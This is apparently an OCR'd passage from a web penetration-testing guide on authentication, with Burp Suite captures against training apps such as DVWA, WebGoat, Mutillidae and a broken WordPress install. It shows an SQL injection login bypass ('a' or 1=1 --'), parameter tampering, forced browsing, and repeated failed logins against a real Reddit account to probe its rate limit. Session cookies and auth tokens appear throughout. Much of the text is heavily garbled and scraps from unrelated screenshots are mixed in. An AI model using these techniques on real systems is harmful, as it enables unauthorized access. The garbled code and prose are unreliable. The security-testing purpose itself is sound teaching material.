Q2B sAVERLEF99c3TuN3RvalVuB ) sARKE LMWy ROt XV b Mx VX1 CeULWNS F2 V2 AV ASS 4b THWO Zve 2 UnZ LUWEGd

UESE sARQS 3D 3D--92459106 £acd09IA0ASI0LAT05Aae47cTdE21700; security_Level=o
Commection: close l
Upgrade-Tnsecure-Requases: 1 H

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. lts main goal
are to be an aid for security professionals to test their skills and tools in a legal environment, help web devel
better understand the processes of securing web applications and aid teachers/students to teach/leam web
application security in a class room environment

WARNING!

Damn Yulnerakle Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder
any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing

Omalches [ T

b
v

B EEE
Review source code

<?php

define( 'DVULA_WES_PAGE_TO_ROOT', '' )
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php’;

dvuaPageStartup( array( 'phpids’ ) );
duwaDatabaseConnect();

if( isset( $ POST[ 'Login' ] ) ) {
Anti-CSRF
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'login.php' );

Suser = §_POST[ ‘username’ ];

Suser = stripslaches( Suser );

$user = ((isset($GLOBALS["__ mysqli _ston"]) && is_object($GLOBALS[”__ mysqli_ston”])) ? mysql
[MySQLConverterToo] Fix the mysgl_escape_string() call! This code does not work.", E_USER_ERROR)) ? "

i_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_errar(”
"y

Spass = §_POST[ password’ 1;

$pass = stripslaches( Spass );

$pass = ((isset($GLOBALS["__ mysqli_ston"]) && is_object($GLOBALS[__ mysqli_ston”])) ? mysqli_real escape_string($GLOBALS["__ mysqli_ston"], $pass ) : ((trigger_error(
[MySQLConverterToo] Fix the mysgl_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

$pass = md5( $pass );

$query = ("SELECT table schema, table name, create time
FROM information schema.tables
WHERE table_schema='{$_DVWA['db_database']}' AND table name='users’
LIMIT 17);
$result = @mysqli_guery($GLOBALS["___mysqli_ston"], Squery );
if( mysqli num_rows( $result ) != 1) {
dvwaMessagePush( "First time using DVWA.<br />Need to run 'setup.php’.” J;
dvwaRedirect( DVWA WEB_PAGE_TO ROOT . 'setup.php' );

¥
Squery = "SELECT * FROM “users” WHERE user='Suser’ AND password='Spass’;”;
$result = @mysqli_query($GLOBALS["___mysqli_ston"], S$query ) or die( '<pre>’ . ((is_object($GLOBALS["__ mysqli_ston"])) ? mysqli_error($GLOBALS["__ mysqli_ston"])

(($___mysgli_res = mysgli_connect_error(})) ? $__ mysqli_res : false}) . '.<br />Try <a href:
if( $result && mysqli_num_rows( Sresult ) 1) { // Login Successful...
dvwalessagePush( "You have logged in as '{Suser}'" );
dvwalogin( Suser );
dvwaRedirect( DVWA_WEB_PAGE_TO ROOT . 'index.php® );

setup.php">installing again</a>.</pre>’ );

H

Make sure website have accout lockout policyest for an account indeed lock after a certain
number of fail login
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Sign up to get your own
personalized Reddit experience!

By having a Reddit account, you can subscribe, vote, and
comment on all your favorite Reddit content. Sign up in just
seconds.

LOG IN

mustafkerrigan

Donthave an account? Sign up | Feset password

LOGIN

you are doing that too much. try again in 4 minutes.

Bguu are duinguthat too m"'l%bri-.}?n?‘ ain in 4 minutes

signing up, you agree to aur at you have read our Privacy
Policy and Content Policy.

Make sure application response limited timeout for user and verify limited timeout is correctly

298 https:/iwww.reddit.com POST | fapiflogin/mustafkerrigan | @ E] 200 1004 JSON [ 151.101.9.140 session_tracke.
299
«

hitps://e.reddit. com POST A2 £] O 200 596 ¥ 151.101.9.140
J >

Request | Response
Raw | Params | Headers | Hex

T01d=00000000000g Lwysma. 2. 1514970310044, Z0FBQUFBQNFUSApHT mSy bk VVQXpin Zpbz Z6w] BCZGs4ZWLUZGR] Y VF] eGRVE LNYWT LU MveF) JM3pve X EdnRT 18] TORALUNT ZmcwaThLT 2LNR2gy ZGET Mip ahD
UMk JRZXNMbER2VT U3UXVEL1VhQixPd 2RKNG L 20mxY LYULUK RhRUSwe VZT X 2E;

session_tracker=CydsjBo4ddsqnligzg. 0. 1514970325091 . ZOFBQUFBQNFLISNPWSHBEL LZwQmRL LVdMik Z6T EBwb XhRink xoM0I 1 LURVET LNaWFXVk FEZVRWd vy MEFHMLT Rk SQNmIBRXpQSHgzSUILVBWe ] dazld
GUFF0&01aaE9UX2pLNXZGM1BKMONNZGSqMz LLT k 2T DVBZ3dDT ZNNZn I MRnVp OEFgMVZqQVe;  edgebucket=ePAHS0Bkp2eeNznlr; _ga=GAl,2.840053848, 1514970316;
_gld=GAL.2.886753124,1514970316; pc=y4; _ utma=55650728.840053848.1514970316. 1514970318, 1514970318.1; _ utmb=55650728.0.10.1514870318; _ utmc=55650728;
__utmz=55650728.1514970318. 1. 1.utmesr=(direct) [utmeen=(direct) Jutmemd=(none) ; _ gads=TD=5dfefb4e215800a1:T=1514970324:S=ALNI_MbEGer GETETTQXYNG- zQhp_DPHzkw;

_ utmli=login-form

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

op=logintuser=mustafkerriganipasswd=11111&rem=yeskap1_type=)son
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POST  /apiflogin/mustafkerrigan [E] 200 1004  JSON

POST N2 @ [J 200 5%

298 https:fwww.reddit.com
299 https: /e reddit.com
LS

[ 151.101.9.140
[ 151.101.9.140

7 W

session_tracke.

[Request Response

Raw | Headers m

Content-Length: 99

Accept-Ranges: bytes

Date: Wed, 03 Jan 2018 09:11:24 GMT
Via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-sin18023-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: 51514970684.860476,VS0, VES21
Server: snooserv

{"json": {"errors': [["INCORRECT_USERNAME PASSWORD', 'incorrect username or password", "passwd"]1t}

321 POST  /apiflogin/mustafkerrigan & 0

<\

https:/fwww.reddit. com

200 1030 JSON

Request | Response

W Headers m

X-Moose: majestic
Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Content-Length: 124

Accept-Ranges: bytes

Date: Wed, 03 Jan 2018 09:17:01 GMT
Via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-s1n18028-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: S1514971021.732954, VS0, VES32
Server: snooserv

{"1son": {"ratelimt"': 179, "errors": [["RATELIMIT', "you are doing that too much. try again in 2 minutes.", "ratelimit"]]}t}

329 https:/fwww.reddit com POST  Japiflogin/mustafkerrigan il [ 200
330 https:/fwww.reddit com GET fuser/AllYourEyez 3] [ 200
331 https:/fe.reddit.com POST A2 e} [ 200

KN

1385 JSON
122260 HTML overview for AllYour...
596

Request | Response

Raw | Headers m

Strict-Transport-Security: max-age=15552000; includeSubDomains; preload
Content-Length: 205

Accept-Ranges: bytes

Date: Ved, 03 Jan 2018 09:22:32 GMT
via: 1.1 varnish

Connection: keep-alive

X-Served-By: cache-s1n18023-SIN
X-Cache: MISS

X-Cache-Hits: 0

X-Timer: 51514971351,260291, V50, VESGE
Server: snoosery

{"1sen": {*errors": [], "data": {"need_https": true, "modhash": 'qdxxx26v0zc3439a64184beagodoel36bedect27e3bboas65", "cookle':

133558984317, 2018- 01- 037011 22: 31, 6880051 7a6243027 1 486516937 2b44beaf 330008 1 1}

1 Make sureapplication warn user when they are approaching lockout thread hold
1 A CAPTCHA may hinder brute force attack, but they can not replace a lockout mechanism.

67



[WEB APPLICATIGENETRATION TES'I]I

Username

https://fwww.zotero.org/<username >

Email
Confirm Email
Password

Verify Password

\/ I'm not a robot

1 Try for bypass lockout time out
9 List all ways to unlocked account of website, Make sure thegeanare

4. Testing for bypassing authentication schema
How to test

1 Parameter modification
When the application verifies auccessful log in on thbasis of fixed value parameter&.user
could modify these parameters to gain access to the protected areas without providing valid
credentials.
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Stage 1

Stage 1: Bypass Presentational Layer Access Control.

Az regular employee 'Tom', exploit weak access control to use the Delete function from the
Staff List page. Verify that Tom's profile can be deleted. The passwords for users are their
given names in lowercase (e.g. the password for Tom Cat is "tom").

& Goat Hills Financial

& Human Resources

Hﬁ Welcome Back Larry - View Profile Page -

First Name: Larry Last Name: Stooge

Street: 9175 Guilford Rd  City/State: New York, NY

Phone: 443-685-0152 Start Date: 1012000

SSN: 386-09-5451 Salary: 55000

Credit Card: 2573546969853547 Credit Card Limit: 5000

Comments: Does not work well with others

Disciplinary Explanation: Disc. Dates: 10106

Constantly harassing coworkers

Manager: 102
Hidden field Hidden field

. l—ﬂmniﬂllﬂﬂ Ifi-i I’nmnin\u\r\ lf’.-i o’

LMI‘IFIU?MU_I“J L\u‘lr’.’lv’\-‘-'_ “J Logout
101 | 101 ‘
ListStaff EditProfile

ASPEGT‘
j Original request T Edited request I Qriginal rezponse T Aute-modified response ]

_[ RawI Params I Headers T Hex ]

POST /WehGoat/attack?Bcreen=c5imenu=200 HTTP/1.1

Host: 152.188.2272_ 138

User-Agent: Mozillas5.0 (Windows NT 10.0; Wing4; x£4; rv:57.0) Gecko/2Z0100101 Firefox/57.0
Accept: text/html,application/xhtmltxml,application/xml; gq=0.5,*/*,q=0_8

Accept-Language: en-GEB,en;g=0.5

Accept-Encoding: gzip, deflate

Beferer: http://fl82.1E608. 222, 126/ WebGoat fattack? Screen=65anena=200

Content-Type: application/x-www-form-urlencoded

Content-Length: 34

Cookie: PHPSESSID=c4jl%fedeibtimcpdvorgvklagl; acopendivids=swingset,jotto,phpbhl,reduine; acgroupswithpersist=nada;
Authorization: Basic dIZViEZZShdDp3ZWinkIFO

Connection: close

Tpgrade-Insecure-Requests: 1

Cache-Control: max-age=0

employes_id=l0lsaction=ViewProfile
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Original request | Edited reguest I Original response [Autu—mudiﬂad response
J Raw T Params

POST /WebGoat/attack?Sereen=6hanmenu=200 HITP/L.1

Host: 1592.168.222.138

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; xz64; rv:57.0) Gecko/20100101 Firefox/57.0
Aecept: text/htul,application/xhenltxnl, application/mml; q=0.9,*%/*;q=0.8

Aeeept-Language: en-GE,en;q=0.5

Avcept-Encoding: gzip, deflate

Headers I Hex ]

Content-Type: application/x-wimw-forn-urlencoded

Content-Length: 34

Cookie: PHPSESSID=g4jl5fedqibtinepdvovgvkbgl; acopendivids=swingset,jotto,phpbhl, redoine; acgroupswithpersist=nada;
Muthorization: Basic dZViZ25hdDp3ZWinbkZlF0

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

employee id=l0Zgaction=ViewProfile

Stage 1

Stage 1: Bypass Presentational Layer Access Control.

As reqgular employee Tom', exploit weak access control to use the Delete function from tl
Staff List page. Verify that Tom's profile can be deleted. The passwords for users are thei
given names in lowercase (e.qg. the password for Tom Cat is "tom").

&° Goat Hills Financial

i Human Resources

|'ri1i1 Welcome Back Larry - View Profile Page

r
First Name: Moe Last Mame: Stooge
Street: 3013 AMD Ave City/State: New York, NY
Phone: 443-938-5301 Start Date: 3082003
S55N: 936-18-4524 Salary: 140000
Credit Card: N& Credit Card Limit: 0
Comments: “ery dominating over Larry and Curly

Disciplinary Explanation: Disc. Dates: 101013
Hit Curly owver head
Manager: 112
Hidden field Hidden field
N l—ﬁmﬂiﬂllﬂﬂ I.fi-i rnmniﬁ\:nn lf'!l-i -
L\-I'I IFIU \..-\..-_ru_] 'L\-'I IIFIUI\—\—_I“J Ll:lgl:iut
102 | |02 \
ListStaff EditProfile .

I Session manipulate

70
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J ntercap | HTTP history |Wah5‘.nckat5 history | Options \

March 1, 2018

#| Requestto hitp://192.163.222 136:80

Forward Drop | Intercept is on | Action
[ J 1 J L J

Raw | Params | Headers | Hex

GET /mucillidae/index php?popUpliotificationCode=AUL HTTE/L. 1

Host: 192.16B.I2I2I2.132&

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4; rv:57.0) Gecko/IZ0l00101 Firefox/57.0

Accept: text/html,application/xhtmltznl,applicacion/xml;q=0.9,*%/*;q=0.0

Accept-Language: en—GE,en;q=0.5

hccept-Encoding: gzip, deflate

Referer: hrtp://192.168.222.13&8/murillidas/index phplpage=login. phpspopUpliotificationCode=LOTL

Coakie:
Connection: close
Upgrade—Insecure-Requests: 1
Cache-Control: max-age=0

showhints=1; username=user; uid=23; PHPSESSID=54319fedqibtimepivovgrirbygl; acopendivids=swingset,jotto,phpbhl, rednine; acgroupswithpersist=nada

(e R e =

Raw | Headers | Hex | HTML | Render

Target: Nttpii192.168.222.136 |,

GET request to /mutilidaefindex. php

Type | Hame: | value |
URL popUpHotificationCode AU
Cookie showhints 1 Remove
Cookie usemame user
Cookie uid 1 up
Cookie PHPSESSID 64]9tedqjptimepavovgvkba

Down

SQL Injection

HTITE/1.1 200 0K
Date: Mon, 15 Jan 2018 10:45:09 GMT
Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHE/5. 3.

praxy heml/3 0.1 mod_python/3. 3.1 Dythen/2 & 5 mod_ss1/2.

Phusion_Passenger/4 0. 38 mod_perl/2 0.4 Perl/ws 101
M-Powered-By: PHP/E. 3 2-lubuntud 30

Logged-Tn-User: admin

Vary: Aecept-Encoding

Content-Lengeh: 46120

Commection: clase

Content-Type: text/heml

ubuntud 30 with Suhosin-Patch
2.14 OpenSSL/0. 5 8k

SQL Injection is a widely known attadiechnique. Thisectionis not going to describéhis
techrique in detail as there are several sections in this guide that explain injechioigues

beyondthe scope of this section.

_[ Criginal request T Edited request T Response ]

_[ Raw T Params T Headers T Hex ]

POST /mutillidae/index. php?page=login.php HTTPA1.1

Host: 152.128.IIIZ.132&

User-Agent: Mozillas5. 0 (Windows NT 10.0; Wingd;

xE4; rvo 700

Aocept: text/html, application/xhtml+txm]l  application/mml;q=0_5,*/*;gq=0_8

Accept-Lancuage: en-GE,en;qg=0_5

Accept-Encoding: gzip, deflate

Peferer: httop://192_ 168. 222 136/ mutillidae/index . php?page=login. php
Content-Type: application/x-www-form—urlencodecd

Content-Length: 51

Cockie: showhints=1; PHPSESEID=c4jl%fedgibtimepdvovgvilhgl;

Comnmection: close
Tpgrade-Insecure—Regquests: 1

username=aipassword=ailogin-php-subnit-button=Login

Original request | Edited reqguest T Response ]

Gecko/2Z01l00101 Firefox/s/57.0

acopendivids=swingset ,jotto,phphhl, redmine;

_[ Raw T Params T Headers I Hex ]

POST /mutillidae/index. php?page=login.php HITPS1.1

Host: 185Z_.188.2I22.138

User—-Agent: Mo=zilla/5.0 (Windeows NT 10_.0;

Wingd ;

®x64; rw:-57_0)

Accept: text/html,application/xhtwltxml,application/xml gq=0_9,*%/*;q=0.8

Aocept-Language: en-GE,en;qgq=0.5

Accept-Encoding: gzip, deflate

Beferer: http: /152 168 222 136/mutillidase/index. php?page=login. php
Content-Type: application/x-www-form-urlencoded

Content-Lengch: &4

Cookie: showhints=1; PHPSESSID=c4]jlSfedqibtjmepdvovgvilel -

Comnection: close
TUpgrade-Insecure-FRegquests: 1

username=a' or l=1 --+ &password=aflogin-php-subnit-hutton=Login

Gecko/20100101 Firefox/57.0

acopendivids=swingset ,jotto,phphhl, rednine;
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[ Criginal request T Edited request Tﬂespunse 1

J RawT Headers T Hex T HTKL T Render ]

HTTP/1.1 302 Found

Date: Mon, 15 Jan 2018 08:-42:03 GMT

Server: Apache/Z.2_14 (Ubuntu) mod mono/Z_4.3 PHP/S. 2. Z-lubuntud. 20
mod perl/Z.0.4 Perlswb_1l0.1

¥-Powered-By: PHP/L_ 3. Z-lubuntud. 20
Set-Cookie: username=admin

Set-Cookie: uid=1

Location: index. php?popUplotificationCode=ATT1
Logged-In-User: admin

Vary: Accept-Encoding

Content-Length: L0385

Connection: close

Content—-Type: text,/html

Direct page request (Forced Browsing)
If a web application implemenéccess control only on the logpage, theauthentication schema
could be bypassed.

<« = C @ 192.168.222.136/WebGoat/attack?Screen=37&menu=1400

Choose ancther language: | English ~ Logout 0

Forced Browsing

" OWASP WebGoat v5.4

Introduction . . _
General Solution Videos Restart this Lesson
Access Control Flaws

A Security * Your goal should be to try to guess the URL for the "config" interface.

Ezf:::jeerng,c_itr'_ﬁgﬂa"\'s * The "config" URL is only available to the maintenance personnel.

W ws - e ! - en

Code Quality The application doesn't check for horizontal privileges.

Concurrency -

Cross-Site Scripting (X55) Can you try to force browse to the config page which should only be accessed by

Improper Error Handling maintenance personnel.

Injection Flaws Created by Sherif

Dénial of Service Koussa SOMTWATESECUTED

Insecure Communication
Insecure Configuration

Forced Browsing

OWASP Foundation | Project WebGoat | Report Bug

Go cancel <|r > v Follow redirection Target: http:/i192.168.222.136 w uj

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GET /WehGoat/conf HTTP/L 1 HITP/L 1 30 Moved Temporarily
Host: 192.168.222.135 Date: Fri, ©3 Feb COL8 09:46:1%9 GMT
User-Agent: Mozilla/6. 0 (Vindows NT 10.0; Wing4; xG4; rv:58.0) Gecko/Z0100101 Firefox/58.0 Server: Apache-Coyote/l 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=08 Pragma: Ho-cache
Accept-Language: en-GB,en;gq=0.5 Cache-Control: no-cache
Expires: Wed, 31 Dec 1969 19:00:00 EST
Location: http://197 168 277 136/WebGoat/attack?Screen=37imenu=14008succeeded=yes

I

Accept-Encoding: gsip, deflate

Cookie: dhx-postmeta=grabit=0-,1-,2- 3-,4- §-, G-tadvancedstuff=0-, 1-,2-;
acopendivids=swingset, jotto,phpbbh?, rednine; acgroupswithpersist=nada; Content-Type: text/html;charset=T50-8855-1
PHPSESSID=qrhalvi4 fimoucasijrubdn®l; JSESSIONID=F1CE45ECCEE1TF37EDIACE4TICTCCTE; Via: 1.1 177.0.1.1
_eyclone_session=EAhTBOKiD3N1e3NphTs faWiGOgZF Bk i TWALTS E1ZTUANVNyNDh i NDT4N] AxNUF 1 TuEzZD e 4llz Vary: Accept-Encoding

Q7B sAVEK 1 EF93e3TmX3RvasVuB j sARK): iMWMr RO 1bXVrh i MxTX1Coll LWl FaTzdVas s 4h THWG T ength: 0

TESE]sARgS 3D 3D--97459h06 facd097d0d590h4705dae47e9dEel700; security_level=0 Connection: close

Authorization: Basic d2ViZZhdDp3ZWinhIFo
Comnection: close
Tpgrade-Insecure-Requests: 1
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[ﬁZx 3 % 4.

Go <|r
Request

Raw | Params | Headers | Hex

Target: hitp:/1192.168.222.136 |/ | 7 |

Response

Raw | Headers | Hex | HTML | Render

FET /WebGoat/attack?Screen=37émenu=1400isucceeded=yes HTTP/1 1
Host: 197.168.207 136

User-igent: Mozilla/5. 0 (Windows NT 10.0; Wing4; x£4; rv:58.0) Gecko/201D0L0L Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.5,%/%;q=0.8
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: dhx-postmeta=grabit=0-,1-,2- 3-, 4~ 5- E-fadvancedstuff=0-, 1-,2-;
acopendivids=swingset,jotto,phpbbl, reduine; acgroupswithpersist=nada;

PHPSESSID=qrhalv04 fhmoucasiirubnkl; JSESSIONID=FlC84SECCEE1CFI76DSACE4TICTCCBTE;

_eyclone_session=BAnTEOKiDENle3Hphbls EaWQGH

FRIEiJWQIYIELZTU.

UESE] sARgS 3D 3D--52459b0E £acdDSId0AE S0 4T05dasd7eSdE1700; security Level=0
Authorization: Basic dZViZZhdDp3ZWInbIFO

Comnection: close

Upgrade-Insecure-Requests: 1

1 Session ID Predict

Many web applications manageithentication by usingessionidentifiers

sesion ID and gain unauthorized accéss the application,

authenticated user.

Tools

1 Burp Suite
1 ZAP
1 WebGoat

v NDUAI] AxMWF 1T
Q2B sAVER iEF9]c2TuX2RvalVuE ) sARKE iMWMy ROt ibXVrbi My VX1 CeUlWM] F2 V2 dVass4b THWO] Zve s AUnZ LUWZ Y

5. Test remember password functionality

@WORDPRESS

Username:

admin

Password:

Remember me

Login »

« Back to blog
password?

Register  Lost your

How to Test:
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Choose another language. | Engii 'J

Forced Browsing

How to work with

Solution Videos WebGoat

Restart this Lesson
* Your goal should be to try to gue
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TIE e?yé)%lcatmn doesn't checle fog

* Coperatulaign s dave succe
Weleoingto WebGg
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Look for password being stored in a cookie. Examine the cookies stored by the application.
Verify that the credentials are not stored in clear text, but are hased.

457 hitp:f192.168.222.136 POST Iwordpress/wp-login.php W 302 366 HTML php
458 hitp:/152.168.222 136 GET Jwordpress/wp-admind 200 9935 HTML

455 hitp://detectportal. fire fox. com GET Izuccess bt 200 3ros text bt
-

Reguest | Response
j Raw T Params T Headers | Hex

POST fwordpress/wp-login.php HTTPSL.1

Host: 192.1E88.I2I22.136

User-Agent: Mozillas5.0 (Windows NT 10.0; Wing4; x£4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html, application/xhtml+txml, application/xml;g=0_9, */*;¢q=0.8

Avcept-Lancguage: en-GB,en;g=0_5

Accept-Encoding: gsip, deflate

Referer: http:// 192 168 222 136/wordpress/wp—-login. php

Content-Type: application/x-www-form-—urlencoded

Content—-Length: 82

Cockie: dbx-postmeta=grabic=0-,1-,2-,3-,4-, 8- é-cadvancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,bjottc
Connection: close

Tpgrade-Insecure-Recgquests: 1

log=aduinspwd=aduinsrenenberne=foreverssubnit=Logint$C23EBaredirect_to=wp-adnink2F

457 http:/192 168 222 136 POST fwordpress/wp-login. php W 302 866 HTML php

458 http:if192.168.222 136 GET fwordpress/w p-admin/ 200 9935 HTML Broken WordPress &rsa...
459 http:/idetectportal. firefox. com GET fsuccess. bt 200 379 text tat

Raqu est

Raw | Headers | Hex

HTTP/1.1 302 Found

Date: Fri, 02 Mar 2018 02:07:1& GMT

Server: Apache/C 7. 14 (Ubuntu) mod mono/2 4.3 PHRE/S 2. 2-lubumtud 30 with Suhosin-Patch proxy htwml/2. 0.1 mod python/2. 3.1 Python/C £ 5 mod_ss1/2. 7 14
mod_perls/Z.0.4 Perl/wh.10.1

¥-Powered-By: PHP/5.3.I2-1lubuntu4. 30

Expires: Wed, 11 Jan 1584 05:00:00 GNT

Last-Modified: Fri, 0Z Mar Z018 03:07:1& GMT

Cache-Control: no-cache, must-revalidate, max—age=0

Pragma: no-cache

Set-Cookie: wordpressuser T952fB8adT0e987h0dk44cld22eclb0lo=adnin; expires=Sat, 02-Mar-2015 02:07:16 GMT; path=/wordpress/

Set-Cookie: wordpresspass_C95efBadT0e987b0db44c01d33eclb0le=,3T84d0f54606del fd7af177abaltbhf3; expires=5at, 02-Mar-C019 02:07:16 GMT; path=/wordpress/
Location: wp-admin/

Vary: Accept-Encoding

Content-Length: 0

Connection: close

Content-Type: text/htwml; charsec=UTF-8

Examine the hashing mechanism: if it is a common,-ledw algorithm, check for its sngth,
it homegrown hash functions, attempt several usernames to check whether the hash function is
easily guessable.

Decoded value: Original Hash (Md5):

elect Decoded Value elect Original Hasl
Select Decoded Vall Select0 | Hash

Verify that the credentials are only sent during the Igghiase, and not sent together with every
requestto the application.
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470 http:/i192.168.222.138 GET fwordpress/wp-admin/themes. php 200 5190 HTML php Broken WordPress &rsa...
-

Reguest | Response

Raw | Params | Headers | Hex

S

CET /wordpress/wp-acdmin/themes . php HITP/L. 1
Host: 192.188.2I22.138

User-Agent: Mozilla/5.0 (Windews NT 10.0; Win€4; x&4; rv:58.0) Gecko /20100101 Firefox/58.0

Aocept: text/html,application/xhtml+txml, application/xml; q=0.8,%/*;q=0.8

Accept-Language: en-GE,en;q=0.5

Accept-Encoding: gmip, deflate

Peferer: http://197 168 277 13&/wordpress/wp-adming

Cockie: wordpressuser_2595ef8ad706987h0dk44cldl3eclbllo=adnin; wordpresspass_C595e£8ad706987b0db44cld33eclhb0le=c3284d0£54606del £dlaflT72abalsh£3;
dbx-postumet asgrabit=0-,1-,2-,3- 4- E-, E-gfadvancedstuff=0-,1-,2-; security level=0; acopendivids=swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada
Comnnectcion: close

Upgrade-Insecurs-Requests: L

If-Modified-Since: Thu, IZI Feb Z018 08:51:32 GMT

1 Consicer other sensitivéorm fields (e.g. an answer to a secret question that beusntered in a
password recovery or account unlock form).
1 Checkforaut ocompl ete = Aoffod

@ B 192.168.222.136/wordpress/wp-login.php - @ 1 Search N @ =

oy Insps Con: Debt Style Perfor Men Net Stor DO H=0 o B l

aF Mo matches (omplete| 0 1
<lzkbel>
Password:
<input id="pwd" name="pwd" value="" size="20"
WORDPRESS v
</label>
</p>
£
Username: SR -
html » body > div £login » form #loginform > p » label » input #pwd
Rules Computed Layout Animations Fonts
Password: Filter Styles + & o«
element { inline
1
[ rRemember me #login inmput { wp-admin.css:536

nadding: Ane:

6. Testing for Browser cache weakness

Browsers can store information for purposescathing and history. Caching is used to improve
performance, so that previously displayed information doesn't needtimlbdoaded again.  History
mechanisms are used for user convenience, so the user can see exactly what they saw at the time when the
resaurce was retrieved. If sensitive information is displayed to the user (such as their address, credit card
details, Social Securitumberpor username), then this information could be stored for purpafses

cachingor history, andhereforeretrievable though examining the browser's cachdwpisimply pressing

the browser's "Backutton.

How to test:

If by pressing the "Back" buttothe tester can access previous pagesdiuaccess new ones, then it is
not an authentication issue, but a browser higesye. If these pages contain sensitive data, it means that
the application did not forbid the browser from storing it.

Authentication does natecessarily need to be involved in the testing. For example, when a user enters
their email address in order $@n up to a newsletter, this information could be retrievable if not properly
handled.

The "Back" button can be stopped from showsagsitive data. This cdoe done by:

1 Delivering the page over HTTPS.
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1 Setting CacheControl: mustre-validate

BrowserCache. In Here testers check that the application does not leak any sensitivie dadhrowser

cache. In orderto do that, they can usa proxy(such as Burp Suite) and searttimoughthe server
responses that belongtte session, checking that fevery pagehat contains sensitive information the

server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response
headers:

9 CacheControl: no-cache no-store
1 Expires:0
1 Pragmano-cache

These directives are geadly robust, although additional flags may be necessarythe CacheControl
header in order to bettpreventpersistently linked files on the file system:

9 CacheControl: mustrevalidatepre-check=0, postheck=0, maxage=0, smaxage=0

The exactocation where that information is stored depends on the djgmating system and on the
browser that has been used.

Mozilla Firefox:

1 Unix/Linux: ~/.mozilla/firefox//Cache/
1 Windows: CiDocuments and Settingisocal Setting¥Application
DataMozilla\Firefox\Profiles\Cache

InternetExplorer:

1 C:\Documents and Settinglsocal SettingsTemporary Internet Files

Example:
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« > C ‘@' @ & https://fattack.samsclass.info/cookielogin/

Cookie Login Page

CLOUDFLAREFE

Name: | |

Password: | |

Submit Query
Logins to try

root toor
admin password

Last revised 10-10-14 1:04 pm by Sam Bowne

Login with name root password toand intercept to analysis packet

594 hitps:fattack. samsclazs.info GET Icookielogin/cookiglogin. php?n=root&p=... o 302 £
595 hitp=s./iattack.samsclass.info GET Icookielogin/messageboard.php 200 1
596 hitp=s./iattack.samsclass.info HEAD fcookielogin/messageboard.php 200 z
<

_[ Request T Response ]

_[ Raw T Params T Headers T Hex ]

GET feoockielogin/cookielogin. php?n=rooct&p=toor HTTP 1.1

Host: attack.samsclass._ info

User—-Agent: Mozilla/s5.0 (Windows INT 10.0; Wing4; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/htnl,application/xhtml+txzwl , application/xml ;gq=0_59, %/ % q=0_8

Aocept-Language: en-GE,en;qg=0.5

Accept-Encoding: gzip, deflate

RBeferer: https:/Sfattack.samsclass. info/cookielogin

Coockie: _ASPHMAUTH=INVALID; AUTH=INVALID; _ cfduid=d725a8b05f8f0aa’f45c£f5c0881l3c008al513578576
Connection: close

Tpgrade-Insecure—-ERegquests: 1
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594 https://attack.samsclass.info GET lcookielogin/cookielogin. php?n=root&p-=... + 302 638 HTML php Logging In
595 https://attack.samsclass.info GET Icookielogin/messageboard.php 200 1861 HTML php Message Bo:
| 598 hitps://attack samsclass.info HEAD Icookielogin/messageboard.php 200 265 HTHML php

-

Reguest | Response
Raw | Headers | Hex HTMLIRender]

HTTP/1l.1 302 Found

Date: Fri, 0Z Mar 2018 07:12:17 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set-Cockie: .ASPHAUTH=£3aff0ea7hho8050756hE452854810845; expires=Fri, 05-Mar-I018 07:1Z2:17 GHT,; Max-Age=£504800
Set-Cookie: AUTH=£2a5f0eaThh580507596LE45285481845; expires=Fri, 09-Mar-2018 07:12:17 GHMT; Max-Age=£04800
Location: messageboard. php

Expect-CT: max-age=£04800, report—uri="https:/ report-uri.cloudflare.con/cdn-cgi/heacon/expect—ot"
Server: cloudflare

CF-PAY: 3f520ddalel3aZle-HEG

Content-Lengtlh: 104

<HTHL=><head><title>*Logging In</title></head>
<hody hgoolor="#coocooo">

<hl>Logging In</hl>

</body></htunl>

595 https:/attack.samsclass.info GET Icookielogin/messageboard. php 200 1861 HTML php Message Board
| 596 https:/fattack. zamsclass.info HEAD Icookielogin/messageboard.php 200 265 HTML php
< J

Request | Response

Raw | Params | Headers | Hex

GET /cookielogin/messageboard.php HTTE/L. L

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/zhtml+txml,application/xml;q=0.3,%/%;q=0.8

Accept-Language: en-CE,en;q=0.5

Accept-Encoding: gzip, deflate

Beferer: https://attack.samsclass.info/cockielogin/

Cockie: .ASDHAUTH=E£2a5f02aThho8050796hE45285401845; AUTH=E2a5£f02aTkbb98050756LE45285481845;  cfduid=d
Connection: close

Upgrade-Insecure—Requests: 1

25aBb0SfEf0aalf49cfEc08EL20008a1513E578576

595 hitps://attack. samsclass.info GET Icookielogin/messageboard. php 200 1861 HTML php Mes=age Board
| 596 hitps://attack samsclass.info HEAD fcookielogin/messageboard.php 200 265 HTML php
-

Response

Raw | Headers | Hex HTMLIRender]

HTTP/1.1 Z00 0K

